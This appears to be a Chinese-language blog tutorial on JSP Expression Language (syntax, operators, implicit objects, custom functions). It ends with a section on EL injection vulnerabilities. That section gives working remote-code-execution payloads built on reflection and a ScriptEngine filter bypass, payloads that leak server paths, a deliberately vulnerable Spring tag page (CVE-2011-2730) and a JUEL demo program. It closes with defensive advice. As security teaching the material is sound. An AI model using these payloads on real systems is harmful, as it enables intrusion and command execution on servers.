EL表达式简介

EL(Expression Language) 是为了使JSP写起来更加简单。它提供了在 JSP 中简化表达式的方法,让JSP的代码更加简化。

EL表达式主要功能如下:

  • 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
  • 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}
  • 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据;
  • 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法;

基本语法

EL表达式语法

在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以${}表示。例如,${ userinfo}代表获取变量userinfo的值。当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量,例如:${pageScope. userinfo}表示访问page范围中的userinfo变量。

简单地说,使用EL表达式语法:${EL表达式}

其中,EL表达式和JSP代码等价转换。事实上,可以将EL表达式理解为一种简化的JSP代码。

扩展JSP代码的写法总结:

  • JSP表达式:<%=变量或表达式>

    向浏览器输出变量或表达式的计算结果。

  • JSP脚本:<%Java代码%>

    执行java代码的原理:翻译到_jspService()方法中。

  • JSP声明:<%!变量或方法%>

    声明jsp的成员变量或成员方法。

  • JSP注释:<%!--JSP注释--%>

    用于注释JSP代码,不会翻译到Java文件中,也不会执行。

示例代码

1.png

[ ]与.运算符

EL表达式提供.[]两种运算符来存取数据。

当要存取的属性名称中包含一些特殊字符,如.-等并非字母或数字的符号,就一定要使用[]。例如:${user.My-Name}应当改为${user["My-Name"]}

如果要动态取值时,就可以用[]来做,而.无法做到动态取值。例如:${sessionScope.user[data]}中data 是一个变量。

操作符

SP表达式语言提供以下操作符,其中大部分是Java中常用的操作符:

术语定义
算术型+、-(二元)、*、/、div、%、mod、-(一元)
逻辑型and、&&、or、双管道符、!、not
关系型==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

pageContext对象

pageContext对象是JSP中pageContext对象的引用。通过pageContext对象,您可以访问request对象。比如,访问request对象传入的查询字符串,就像这样:

${pageContext.request.queryString}

2.png

Scope对象

术语定义
pageScope将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName}访问对象的属性。
requestScope将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName}访问对象的属性。
sessionScope将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name}
applicationScope将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。

pageScope,requestScope,sessionScope,applicationScope变量用来访问存储在各个作用域层次的变量。

举例来说,如果需要显式访问在applicationScope层的box变量,可以这样来访问:applicationScope.box

  <%
    pageContext.setAttribute("name","page");
    request.setAttribute("name","request");
    session.setAttribute("user","session");
    application.setAttribute("user","application");
  %>
  pageScope.name:${pageScope.name}
  </br>
  requestScope.name : ${requestScope.name}
  </br>
  sessionScope.user : ${sessionScope.user}
  </br>
  applicationScope.user : ${applicationScope.user}

3.png

另外一些隐式对象

此外,还提供几个隐式对象,允许对以下对象进行简易访问:

术语定义
param将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param . name}相当于 request.getParameter (name)。
paramValues将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name)。
header将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header. name} 相当于 request.getHeader(name)。
headerValues将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues. name}相当于 request.getHeaderValues(name)。
cookie将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie. name .value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues. name}表达式。
initParam将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。

param和paramValues对象

param和paramValues对象用来访问参数值,通过使用request.getParameter方法和request.getParameterValues方法。

举例来说,访问一个名为username的参数,可以这样使用表达式:${param.username},或者${param["username"]}。

4.png

paramValues返回的是一个字符串数组

header和headerValues对象

header和headerValues对象用来访问信息头,通过使用request.getHeader()方法和request.getHeaders()方法。

举例来说,要访问一个名为user-agent的信息头,可以这样使用表达式:${header.user-agent},或者${header["user-agent"]}

接下来的例子表明了如何访问user-agent信息头:

5.png

headerValues返回的是一个字符串数组

EL表达式函数

EL允许您在表达式中使用函数。这些函数必须被定义在自定义标签库中。函数的使用语法如下:

${ns:func(param1, param2, ...)}

ns指的是命名空间(namespace),func指的是函数的名称,param1指的是第一个参数,param2指的是第二个参数,以此类推。比如,有函数fn:length,在JSTL库中定义,可以像下面这样来获取一个字符串的长度:

${fn:length("Get my length")}

要使用任何标签库中的函数,您需要将这些库安装在服务器中,然后使用<taglib>标签在JSP文件中包含这些库。

EL表达式调用Java方法

新建一个Person类

package ghtwf01.demo;

public class Person {
    public void myname(String a) {
        System.out.println("My name is "+a);
    }
}

接着在WEB-INF文件夹下(除lib和classess目录外)新建test.tld文件,其中指定执行的Java方法及其URI地址:

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <tlib-version>1.0</tlib-version>
    <short-name>Person</short-name>
    <uri>http://localhost:8888/Person</uri>
    <function>
        <name>myname</name>
        <function-class>ghtwf01.demo.Person</function-class>
        <function-signature> java.lang.String myname(java.lang.String)</function-signature>
    </function>
</taglib>

JSP文件中,先头部导入taglib标签库,URI为test.tld中设置的URI地址,prefix为test.tld中设置的short-name,然后直接在EL表达式中使用类名:方法名()的形式来调用该类方法即可:

<%@ taglib prefix="Person" uri="http://localhost:8888/Person" %>
${Person:myname("ghtwf01")}

6.png

JSP中启用/禁用EL表达式

全局禁用EL表达式

web.xml中进入如下配置:

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>

单个文件禁用EL表达式

在JSP文件中可以有如下定义:

<%@ page isELIgnored="true" %>

该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。

JSP2.0中默认的启用EL表达式。

例如如下的JSP代码禁用EL表达式:

<%@ page isELIgnored="true" %>
${pageContext.request.queryString}

7.png

EL表达式注入漏洞

EL表达式注入漏洞很简单,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。

一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。

POC:

// 执行命令
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"open -a Calculator"))}
//获取webRoot
${applicationScope}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

CVE-2011-2730 Spring标签EL表达式漏洞

首先需要Spring标签库spring.tld

https://github.com/spring-projects/spring-framework/edit/master/spring-webmvc/src/main/resources/META-INF/spring.tld

spring提供的message标签,其中的text属性支持el表达式,可导致el注入,我们使用如下测试代码

<%--
  Created by IntelliJ IDEA.
  User: ghtwf01
  Date: 2020/12/15
  Time: 2:41 上午
  To change this template use File | Settings | File Templates.
--%>
<%@ taglib uri="/WEB-INF/spring.tld" prefix="spring"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>EL Study</title>
  </head>
  <body>
  <spring:message text="${param.a}"></spring:message>
  </body>
</html>

直接传入a为${applicationScope}即可获取webRoot,同样传入命令执行payload即可RCE

Java代码中的EL注入——JUEL

EL曾经是JSTL的一部分。然后,EL进入了JSP 2.0标准。现在,尽管是JSP 2.1的一部分,但EL API已被分离到包javax.el中, 并且已删除了对核心JSP类的所有依赖关系。换句话说:EL已准备好在非JSP应用程序中使用。

也就是说,现在EL表达式所依赖的包javax.el等都在JUEL相关的jar包中。

JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现,具有高性能,插件式缓存,小体积,支持方法调用和多参数调用,可插拔多种特性。

需要的jar包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7

利用反射调用Runtime类方法实现命令执行:

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class Test {
    public static void main(String[] args) {
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a Calculator')}";
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
        System.out.println(valueExpression.getValue(simpleContext));
    }
}

运行即可触发

8.png

getValue方法解析了EL表达式并执行

9.png

绕过方法

利用反射机制绕过

即前面Demo的POC,注意一点的就是这里不支持用字符串拼接的方式绕过关键字过滤。

利用ScriptEngine调用JS引擎绕过

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")}

防御方法

  • 尽量不使用外部输入的内容作为EL表达式内容;
  • 若使用,则严格过滤EL表达式注入漏洞的payload关键字;
  • 如果是排查Java程序中JUEL相关代码,则搜索如下关键类方法:

    javax.el.ExpressionFactory.createValueExpression()
    javax.el.ValueExpression.getValue()